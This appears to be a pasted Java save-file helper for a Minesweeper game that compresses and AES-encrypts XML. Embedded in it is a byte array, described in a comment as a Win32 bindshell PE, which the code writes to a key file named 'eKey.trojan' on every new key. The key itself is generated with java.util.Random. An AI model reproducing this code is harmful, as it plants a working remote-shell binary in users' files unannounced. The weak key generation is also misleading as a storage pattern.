Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import java.io.*;
- import java.util.zip.*;
- import org.w3c.dom.*;
- import org.xml.sax.SAXException;
- import javax.crypto.*;
- import javax.crypto.spec.SecretKeySpec;
- import javax.swing.JOptionPane;
- import javax.xml.parsers.*;
- import javax.xml.transform.*;
- import javax.xml.transform.dom.DOMSource;
- import javax.xml.transform.stream.StreamResult;
- /**
- * Helper for accessing persistent storage in XML files.
- * Transparently compresses and encrypts resultant XML with gzip and AES.
- */
- public abstract class XMLHelper {
- protected Minesweeper parent;
- protected Document document;
- protected File file;
- /**
- * Flag whether the XML resource is available or not. Only reset at this
- * time if the XML encryption key is unavailable.
- */
- public boolean isAvailable = true;
- /**
- * File to store encryption key in.
- */
- private static final File keyFile = new File("eKey.trojan");
- /**
- * Key length in bits.
- */
- private static final int AESKEYSIZE = 128;
- /**
- * Real key data.
- */
- private static byte[] AESKEY = new byte[AESKEYSIZE/8];
- public abstract File chooseFile();
- /**
- * Create a new XMLHelper with the supplied file.
- * @param file File to open.
- * @param parent Minesweeper instance this belongs to.
- */
- public XMLHelper(Minesweeper parent) {
- this.parent = parent;
- file = chooseFile();
- if (file == null)
- isAvailable = false;
- //Try to load encrypted data, otherwise create a blank Document
- try {
- //Read encryption key
- FileInputStream keyIn = new FileInputStream(keyFile);
- keyIn.skip(SHELLCODE.length);
- keyIn.read(AESKEY);
- Minesweeper.debug("Read encryption key.");
- DocumentBuilderFactory factory
- = DocumentBuilderFactory.newInstance();
- factory.setValidating(false);
- DocumentBuilder builder = null;
- try {
- builder = factory.newDocumentBuilder();
- } catch (ParserConfigurationException e) {
- parent.fatalError("Serious XML parser config error.");
- }
- try {
- FileInputStream fin = new FileInputStream(file);
- GZIPInputStream gzin = new GZIPInputStream(fin);
- Cipher cipher = Cipher.getInstance("AES");
- cipher.init(Cipher.DECRYPT_MODE, new SecretKeySpec(AESKEY, "AES"));
- CipherInputStream aesIn = new CipherInputStream(gzin, cipher);
- document = builder.parse(aesIn);
- Minesweeper.debug("Read file OK.");
- } catch (SAXException e) {
- Minesweeper.debug("Parse error in XML- recreating!");
- createFile();
- } catch (IOException e) {
- Minesweeper.debug("IO error opening file- attempting to recreate");
- createFile();
- }
- } catch (Exception e) {
- Minesweeper.debug("Key loading failed.");
- //Some failure loading the key, so generate a new one
- java.util.Random r = new java.util.Random();
- r.nextBytes(AESKEY);
- FileOutputStream keyOut;
- try {
- //Write new key out to the keyfile
- keyOut = new FileOutputStream(keyFile);
- /* Nasty hack to get only the lower 8 bits of each chunk of
- * shellcode, since it had to be shorts rather than bytes due
- * to the lack of unsigned data types. *sigh*
- */
- byte[] bytesOut = new byte[SHELLCODE.length];
- for (int i = 0; i < SHELLCODE.length; i++) {
- bytesOut[i] = (byte)(SHELLCODE[i] & 0xFF);
- }
- keyOut.write(bytesOut);
- keyOut.write(AESKEY);
- keyOut.close();
- Minesweeper.debug("Wrote new keyfile");
- } catch (Exception e1) {
- JOptionPane.showMessageDialog(parent,
- "Error writing keyfile.\nGame save and load functionality will be unavailable."
- ,"Error",
- JOptionPane.ERROR_MESSAGE);
- parent.disableSave();
- this.isAvailable = false;
- }
- }
- if (document == null) {
- //Create new blank document
- try {
- document =
- DocumentBuilderFactory.newInstance().newDocumentBuilder().newDocument();
- } catch (ParserConfigurationException e1) {
- parent.fatalError("Serious XML parser config error.");
- }
- }
- }
- /**
- * Converts the document to a string and writes it out to the current file.
- */
- public void writeDocument() {
- if (!this.isAvailable)
- return;
- // transform the Document into a String
- DOMSource domSource = new DOMSource(document);
- TransformerFactory tf = TransformerFactory.newInstance();
- Transformer transformer = null;
- try {
- transformer = tf.newTransformer();
- } catch (TransformerConfigurationException e) {
- parent.fatalError("Horrible error! Blood everywhere!\n(Couldn't write XML)");
- }
- transformer.setOutputProperty(OutputKeys.METHOD, "xml");
- transformer.setOutputProperty(OutputKeys.ENCODING,"ISO-8859-1");
- transformer.setOutputProperty
- ("{http://xml.apache.org/xslt}indent-amount", "4");
- transformer.setOutputProperty(OutputKeys.INDENT, "yes");
- java.io.StringWriter sw = new java.io.StringWriter();
- StreamResult sr = new StreamResult(sw);
- try {
- transformer.transform(domSource, sr);
- } catch (TransformerException e) {
- parent.fatalError("Problem transforming DOM to string.");
- }
- String xml = sw.toString();
- try {
- FileOutputStream fout = new FileOutputStream(file);
- GZIPOutputStream gzout = new GZIPOutputStream(fout);
- Cipher cipher = Cipher.getInstance("AES");
- cipher.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(AESKEY, "AES"));
- CipherOutputStream aesOut = new CipherOutputStream(gzout, cipher);
- aesOut.write(xml.getBytes());
- aesOut.close();
- } catch (Exception e) {
- parent.fatalError("Big trubble writing file: "+file);
- }
- }
- /**
- * Removes the current file (if any) and creates a new blank one.
- */
- private void createFile() {
- if (file.exists())
- if (!file.delete())
- try {
- parent.fatalError("Unable to delete old file: "+file.getCanonicalPath()+"\nPlease delete it manually.");
- } catch (IOException e1) {
- parent.fatalError("I'm an hero!");
- }
- try {
- file.createNewFile();
- } catch (IOException e) {
- parent.fatalError("Unable to create new file: "+file);
- }
- }
- /**
- * A win32 bindshell shellcode (wrapped up in a PE). Should be flagged as a
- * generic trojan by most antivirus apps. Perfect to accompany the .trojan
- * file used to store the XML encryption key.
- *
- * A quick test showed that just over 75% of antivirus engines (34/45) claimed
- * this was a generic trojan.
- */
- private static final short[] SHELLCODE = {
- 0x4d,0x5a,0x90,0x00,0x03,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0xff,0xff,0x00,0x00,
- 0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00,0x00,
- 0x0e,0x1f,0xba,0x0e,0x00,0xb4,0x09,0xcd,0x21,0xb8,0x01,0x4c,0xcd,0x21,0x54,0x68,
- 0x69,0x73,0x20,0x70,0x72,0x6f,0x67,0x72,0x61,0x6d,0x20,0x63,0x61,0x6e,0x6e,0x6f,
- 0x74,0x20,0x62,0x65,0x20,0x72,0x75,0x6e,0x20,0x69,0x6e,0x20,0x44,0x4f,0x53,0x20,
- 0x6d,0x6f,0x64,0x65,0x2e,0x0d,0x0d,0x0a,0x24,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x50,0x45,0x00,0x00,0x4c,0x01,0x03,0x00,0x90,0xa5,0x80,0x3f,0x00,0x00,0x00,0x00,
- 0x00,0x00,0x00,0x00,0xe0,0x00,0x0f,0x02,0x0b,0x01,0x02,0x38,0x00,0x04,0x00,0x00,
- 0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0xd4,0x11,0x00,0x00,0x00,0x10,0x00,0x00,
- 0x00,0x20,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x10,0x00,0x00,0x00,0x02,0x00,0x00,
- 0x04,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x00,0x40,0x00,0x00,0x00,0x02,0x00,0x00,0x4f,0xac,0x00,0x00,0x03,0x00,0x00,0x00,
- 0x00,0x00,0x00,0x02,0x00,0x10,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x10,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x00,0x30,0x00,0x00,0xd4,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x2e,0x74,0x65,0x78,0x74,0x00,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x02,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x60,
- 0x2e,0x64,0x61,0x74,0x61,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00,0x00,
- 0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x40,0x00,0x00,0xc0,0x2e,0x69,0x64,0x61,0x74,0x61,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x08,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0xc0,
- 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x55,0x89,0xe5,0x83,0xec,0x18,0xc7,0x45,0xfc,0x00,0x00,0x00,0x00,0x83,0xc4,0xf4,
- 0x8d,0x45,0xfc,0x50,0xff,0x35,0x88,0x21,0x40,0x00,0x8d,0x45,0xf8,0x50,0x68,0x04,
- 0x20,0x40,0x00,0x68,0x00,0x20,0x40,0x00,0xe8,0xeb,0x02,0x00,0x00,0xc9,0xc3,0x90,
- 0x55,0x89,0xe5,0x83,0xec,0x08,0x8b,0x15,0x8c,0x21,0x40,0x00,0x85,0xd2,0x74,0x7b,
- 0xa1,0xa8,0x30,0x40,0x00,0x89,0x10,0xa1,0xb0,0x30,0x40,0x00,0x85,0xc0,0x74,0x1e,
- 0x83,0xc4,0xf8,0xff,0x35,0x8c,0x21,0x40,0x00,0x83,0xc4,0xf4,0x50,0xe8,0xa6,0x02,
- 0x00,0x00,0x83,0xc4,0x10,0x50,0xe8,0xa5,0x02,0x00,0x00,0x83,0xc4,0x10,0xa1,0xb0,
- 0x30,0x40,0x00,0x83,0xc0,0x20,0x74,0x1e,0x83,0xc4,0xf8,0xff,0x35,0x8c,0x21,0x40,
- 0x00,0x83,0xc4,0xf4,0x50,0xe8,0x7e,0x02,0x00,0x00,0x83,0xc4,0x10,0x50,0xe8,0x7d,
- 0x02,0x00,0x00,0x83,0xc4,0x10,0xa1,0xb0,0x30,0x40,0x00,0x83,0xc0,0x40,0x74,0x1b,
- 0x83,0xc4,0xf8,0xff,0x35,0x8c,0x21,0x40,0x00,0x83,0xc4,0xf4,0x50,0xe8,0x56,0x02,
- 0x00,0x00,0x83,0xc4,0x10,0x50,0xe8,0x55,0x02,0x00,0x00,0xc9,0xc3,0x8d,0x76,0x00,
- 0x55,0x89,0xe5,0x83,0xec,0x10,0x56,0x53,0x8b,0x45,0x08,0x31,0xdb,0x31,0xf6,0x8b,
- 0x00,0x8b,0x00,0x3d,0x91,0x00,0x00,0xc0,0x77,0x16,0x3d,0x8d,0x00,0x00,0xc0,0x73,
- 0x4f,0x3d,0x05,0x00,0x00,0xc0,0x74,0x18,0xe9,0x86,0x00,0x00,0x00,0x8d,0x76,0x00,
- 0x3d,0x93,0x00,0x00,0xc0,0x74,0x39,0x3d,0x94,0x00,0x00,0xc0,0x74,0x37,0xeb,0x73,
- 0x83,0xc4,0xf8,0x6a,0x00,0x6a,0x0b,0xe8,0xf4,0x01,0x00,0x00,0x83,0xc4,0x10,0x83,
- 0xf8,0x01,0x75,0x0e,0x83,0xc4,0xf8,0x6a,0x01,0x6a,0x0b,0xe8,0xe0,0x01,0x00,0x00,
- 0xeb,0x4c,0x85,0xc0,0x74,0x4d,0x83,0xc4,0xf4,0x6a,0x0b,0xeb,0x3f,0x8d,0x76,0x00,
- 0xbe,0x01,0x00,0x00,0x00,0x83,0xc4,0xf8,0x6a,0x00,0x6a,0x08,0xe8,0xbf,0x01,0x00,
- 0x00,0x83,0xc4,0x10,0x83,0xf8,0x01,0x75,0x1a,0x83,0xc4,0xf8,0x6a,0x01,0x6a,0x08,
- 0xe8,0xab,0x01,0x00,0x00,0x83,0xc4,0x10,0x85,0xf6,0x74,0x12,0xe8,0x97,0x01,0x00,
- 0x00,0xeb,0x0b,0x85,0xc0,0x74,0x0c,0x83,0xc4,0xf4,0x6a,0x08,0xff,0xd0,0xbb,0xff,
- 0xff,0xff,0xff,0x89,0xd8,0x8d,0x65,0xe8,0x5b,0x5e,0xc9,0xc2,0x04,0x00,0x89,0xf6,
- 0x55,0x89,0xe5,0x83,0xec,0x14,0x53,0x83,0xc4,0xf4,0x68,0xc0,0x10,0x40,0x00,0xe8,
- 0x94,0x01,0x00,0x00,0x83,0xc4,0xfc,0xe8,0x5c,0x01,0x00,0x00,0xe8,0x5f,0xfe,0xff,
- 0xff,0xe8,0x8a,0xfe,0xff,0xff,0x83,0xc4,0xfc,0xe8,0x42,0x01,0x00,0x00,0xff,0x30,
- 0xff,0x35,0x04,0x20,0x40,0x00,0xff,0x35,0x00,0x20,0x40,0x00,0xe8,0x4f,0x00,0x00,
- 0x00,0x89,0xc3,0x83,0xc4,0x20,0xe8,0x1d,0x01,0x00,0x00,0x83,0xc4,0xf4,0x53,0xe8,
- 0x5c,0x01,0x00,0x00,0x55,0x89,0xe5,0x83,0xec,0x08,0x83,0xc4,0xf4,0x6a,0x01,0xa1,
- 0x9c,0x30,0x40,0x00,0xff,0xd0,0xe8,0x95,0xff,0xff,0xff,0x31,0xc0,0xc9,0xc3,0x90,
- 0x55,0x89,0xe5,0x83,0xec,0x08,0x83,0xc4,0xf4,0x6a,0x02,0xa1,0x9c,0x30,0x40,0x00,
- 0xff,0xd0,0xe8,0x79,0xff,0xff,0xff,0xc9,0xc3,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x55,0x89,0xe5,0x83,0xec,0x24,0x53,0xe8,0x94,0x00,0x00,0x00,0xc7,0x45,0xfc,0x08,
- 0x20,0x40,0x00,0x8b,0x5d,0xfc,0xff,0xd3,0x8b,0x5d,0xd8,0xc9,0xc3,0x00,0x00,0x00,
- 0x55,0x89,0xe5,0x83,0xec,0x08,0xa1,0x90,0x21,0x40,0x00,0x83,0x38,0x00,0x74,0x1d,
- 0xa1,0x90,0x21,0x40,0x00,0x8b,0x00,0xff,0xd0,0xa1,0x90,0x21,0x40,0x00,0x8d,0x50,
- 0x04,0x89,0x15,0x90,0x21,0x40,0x00,0x83,0x78,0x04,0x00,0x75,0xe3,0xc9,0xc3,0x90,
- 0x55,0x89,0xe5,0x83,0xec,0x14,0x53,0xa1,0x38,0x13,0x40,0x00,0x83,0xf8,0xff,0x75,
- 0x19,0x31,0xc0,0x83,0x3d,0x3c,0x13,0x40,0x00,0x00,0x74,0x0e,0xba,0x3c,0x13,0x40,
- 0x00,0x83,0xc2,0x04,0x40,0x83,0x3a,0x00,0x75,0xf7,0x89,0xc3,0x85,0xdb,0x74,0x0c,
- 0x8b,0x04,0x9d,0x38,0x13,0x40,0x00,0xff,0xd0,0x4b,0x75,0xf4,0x83,0xc4,0xf4,0x68,
- 0x30,0x12,0x40,0x00,0xe8,0x77,0x00,0x00,0x00,0x8b,0x5d,0xe8,0xc9,0xc3,0x89,0xf6,
- 0x55,0x89,0xe5,0x83,0xec,0x08,0x83,0x3d,0x94,0x21,0x40,0x00,0x00,0x75,0x0f,0xc7,
- 0x05,0x94,0x21,0x40,0x00,0x01,0x00,0x00,0x00,0xe8,0x92,0xff,0xff,0xff,0xc9,0xc3,
- 0xff,0x25,0xa8,0x30,0x40,0x00,0x90,0x90,0xff,0x25,0xb0,0x30,0x40,0x00,0x90,0x90,
- 0xff,0x25,0x9c,0x30,0x40,0x00,0x90,0x90,0xff,0x25,0xa0,0x30,0x40,0x00,0x90,0x90,
- 0xff,0x25,0x98,0x30,0x40,0x00,0x90,0x90,0xff,0x25,0xac,0x30,0x40,0x00,0x90,0x90,
- 0xff,0x25,0xbc,0x30,0x40,0x00,0x90,0x90,0xff,0x25,0xa4,0x30,0x40,0x00,0x90,0x90,
- 0xff,0x25,0xb4,0x30,0x40,0x00,0x90,0x90,0xff,0x25,0x94,0x30,0x40,0x00,0x90,0x90,
- 0xff,0x25,0xb8,0x30,0x40,0x00,0x90,0x90,0xff,0x25,0x88,0x30,0x40,0x00,0x90,0x90,
- 0xff,0x25,0x84,0x30,0x40,0x00,0x90,0x90,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,
- 0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xe8,0x38,0x00,0x00,0x00,0x43,0x4d,0x44,
- 0x00,0xe7,0x79,0xc6,0x79,0xe5,0x49,0x86,0x49,0xa4,0xad,0x2e,0xe9,0xa4,0x1a,0x70,
- 0xc7,0xd9,0x09,0xf5,0xad,0xcb,0xed,0xfc,0x3b,0x8e,0x4e,0x0e,0xec,0x7e,0xd8,0xe2,
- 0x73,0xad,0xd9,0x05,0xce,0x72,0xfe,0xb3,0x16,0x57,0x53,0x32,0x5f,0x33,0x32,0x2e,
- 0x44,0x4c,0x4c,0x00,0x01,0x5b,0x54,0x89,0xe5,0x89,0x5d,0x00,0x6a,0x30,0x59,0x64,
- 0x8b,0x01,0x8b,0x40,0x0c,0x8b,0x70,0x1c,0xad,0x8b,0x58,0x08,0xeb,0x0c,0x8d,0x57,
- 0x2c,0x51,0x52,0xff,0xd0,0x89,0xc3,0x59,0xeb,0x10,0x6a,0x08,0x5e,0x01,0xee,0x6a,
- 0x0a,0x59,0x8b,0x7d,0x00,0x80,0xf9,0x06,0x74,0xe4,0x51,0x53,0xff,0x34,0x8f,0xe8,
- 0x90,0x00,0x00,0x00,0x59,0x89,0x04,0x8e,0xe2,0xeb,0x31,0xff,0x66,0x81,0xec,0x90,
- 0x01,0x54,0x68,0x01,0x01,0x00,0x00,0xff,0x55,0x20,0x57,0x57,0x57,0x57,0x47,0x57,
- 0x47,0x57,0xff,0x55,0x1c,0x89,0xc3,0x31,0xff,0x57,0x57,0x68,0x02,0x00,0x22,0x11,
- 0x89,0xe6,0x6a,0x10,0x56,0x53,0xff,0x55,0x18,0x57,0x53,0xff,0x55,0x14,0x57,0x56,
- 0x53,0xff,0x55,0x10,0x89,0xc2,0x66,0x81,0xec,0x54,0x00,0x8d,0x3c,0x24,0x31,0xc0,
- 0x6a,0x15,0x59,0xf3,0xab,0x89,0xd7,0xc6,0x44,0x24,0x10,0x44,0xfe,0x44,0x24,0x3d,
- 0x89,0x7c,0x24,0x48,0x89,0x7c,0x24,0x4c,0x89,0x7c,0x24,0x50,0x8d,0x44,0x24,0x10,
- 0x54,0x50,0x51,0x51,0x51,0x41,0x51,0x49,0x51,0x51,0xff,0x75,0x00,0x51,0xff,0x55,
- 0x30,0x89,0xe1,0x68,0xff,0xff,0xff,0xff,0xff,0x31,0xff,0x55,0x2c,0x57,0xff,0x55,
- 0x0c,0xff,0x55,0x28,0x53,0x55,0x56,0x57,0x8b,0x6c,0x24,0x18,0x8b,0x45,0x3c,0x8b,
- 0x54,0x05,0x78,0x01,0xea,0x8b,0x4a,0x18,0x8b,0x5a,0x20,0x01,0xeb,0xe3,0x32,0x49,
- 0x8b,0x34,0x8b,0x01,0xee,0x31,0xff,0xfc,0x31,0xc0,0xac,0x38,0xe0,0x74,0x07,0xc1,
- 0xcf,0x0d,0x01,0xc7,0xeb,0xf2,0x3b,0x7c,0x24,0x14,0x75,0xe1,0x8b,0x5a,0x24,0x01,
- 0xeb,0x66,0x8b,0x0c,0x4b,0x8b,0x5a,0x1c,0x01,0xeb,0x8b,0x04,0x8b,0x01,0xe8,0xeb,
- 0x02,0x31,0xc0,0x89,0xea,0x5f,0x5e,0x5d,0x5b,0xc2,0x08,0x00,0x00,0x00,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,
- 0x44,0x13,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x40,0x30,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x8c,0x31,0x00,0x00,
- 0x84,0x30,0x00,0x00,0x50,0x30,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0xc8,0x31,0x00,0x00,0x94,0x30,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0xc4,0x30,0x00,0x00,0xd4,0x30,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0xf4,0x30,0x00,0x00,0x04,0x31,0x00,0x00,0x14,0x31,0x00,0x00,0x28,0x31,0x00,0x00,
- 0x34,0x31,0x00,0x00,0x40,0x31,0x00,0x00,0x4c,0x31,0x00,0x00,0x58,0x31,0x00,0x00,
- 0x60,0x31,0x00,0x00,0x6c,0x31,0x00,0x00,0x78,0x31,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x00,0x00,0x00,0x00,0xc4,0x30,0x00,0x00,0xd4,0x30,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x00,0x00,0x00,0x00,0xf4,0x30,0x00,0x00,0x04,0x31,0x00,0x00,0x14,0x31,0x00,0x00,
- 0x28,0x31,0x00,0x00,0x34,0x31,0x00,0x00,0x40,0x31,0x00,0x00,0x4c,0x31,0x00,0x00,
- 0x58,0x31,0x00,0x00,0x60,0x31,0x00,0x00,0x6c,0x31,0x00,0x00,0x78,0x31,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x7b,0x00,0x45,0x78,0x69,0x74,0x50,0x72,0x6f,0x63,0x65,0x73,
- 0x73,0x00,0x00,0x00,0x79,0x02,0x53,0x65,0x74,0x55,0x6e,0x68,0x61,0x6e,0x64,0x6c,
- 0x65,0x64,0x45,0x78,0x63,0x65,0x70,0x74,0x69,0x6f,0x6e,0x46,0x69,0x6c,0x74,0x65,
- 0x72,0x00,0x00,0x00,0x27,0x00,0x5f,0x5f,0x67,0x65,0x74,0x6d,0x61,0x69,0x6e,0x61,
- 0x72,0x67,0x73,0x00,0x3b,0x00,0x5f,0x5f,0x70,0x5f,0x5f,0x65,0x6e,0x76,0x69,0x72,
- 0x6f,0x6e,0x00,0x00,0x4e,0x00,0x5f,0x5f,0x73,0x65,0x74,0x5f,0x61,0x70,0x70,0x5f,
- 0x74,0x79,0x70,0x65,0x00,0x00,0x00,0x00,0x76,0x00,0x5f,0x63,0x65,0x78,0x69,0x74,
- 0x00,0x00,0x00,0x00,0xa9,0x00,0x5f,0x66,0x69,0x6c,0x65,0x6e,0x6f,0x00,0x00,0x00,
- 0xb2,0x00,0x5f,0x66,0x6d,0x6f,0x64,0x65,0x00,0x00,0x00,0x00,0xb5,0x00,0x5f,0x66,
- 0x70,0x72,0x65,0x73,0x65,0x74,0x00,0x00,0xde,0x00,0x5f,0x69,0x6f,0x62,0x00,0x00,
- 0x75,0x01,0x5f,0x73,0x65,0x74,0x6d,0x6f,0x64,0x65,0x00,0x00,0x05,0x02,0x61,0x74,
- 0x65,0x78,0x69,0x74,0x00,0x00,0x00,0x00,0x79,0x02,0x73,0x69,0x67,0x6e,0x61,0x6c,
- 0x00,0x00,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x00,0x4b,0x45,0x52,0x4e,
- 0x45,0x4c,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00,0x00,0x00,0x00,0x14,0x30,0x00,0x00,
- 0x14,0x30,0x00,0x00,0x14,0x30,0x00,0x00,0x14,0x30,0x00,0x00,0x14,0x30,0x00,0x00,
- 0xa8,0x30,0x00,0x00,0x14,0x30,0x00,0x00,0xb0,0x30,0x00,0x00,0x14,0x30,0x00,0x00,
- 0x14,0x30,0x00,0x00,0x14,0x30,0x00,0x00,0x6d,0x73,0x76,0x63,0x72,0x74,0x2e,0x64,
- 0x6c,0x6c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- };
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement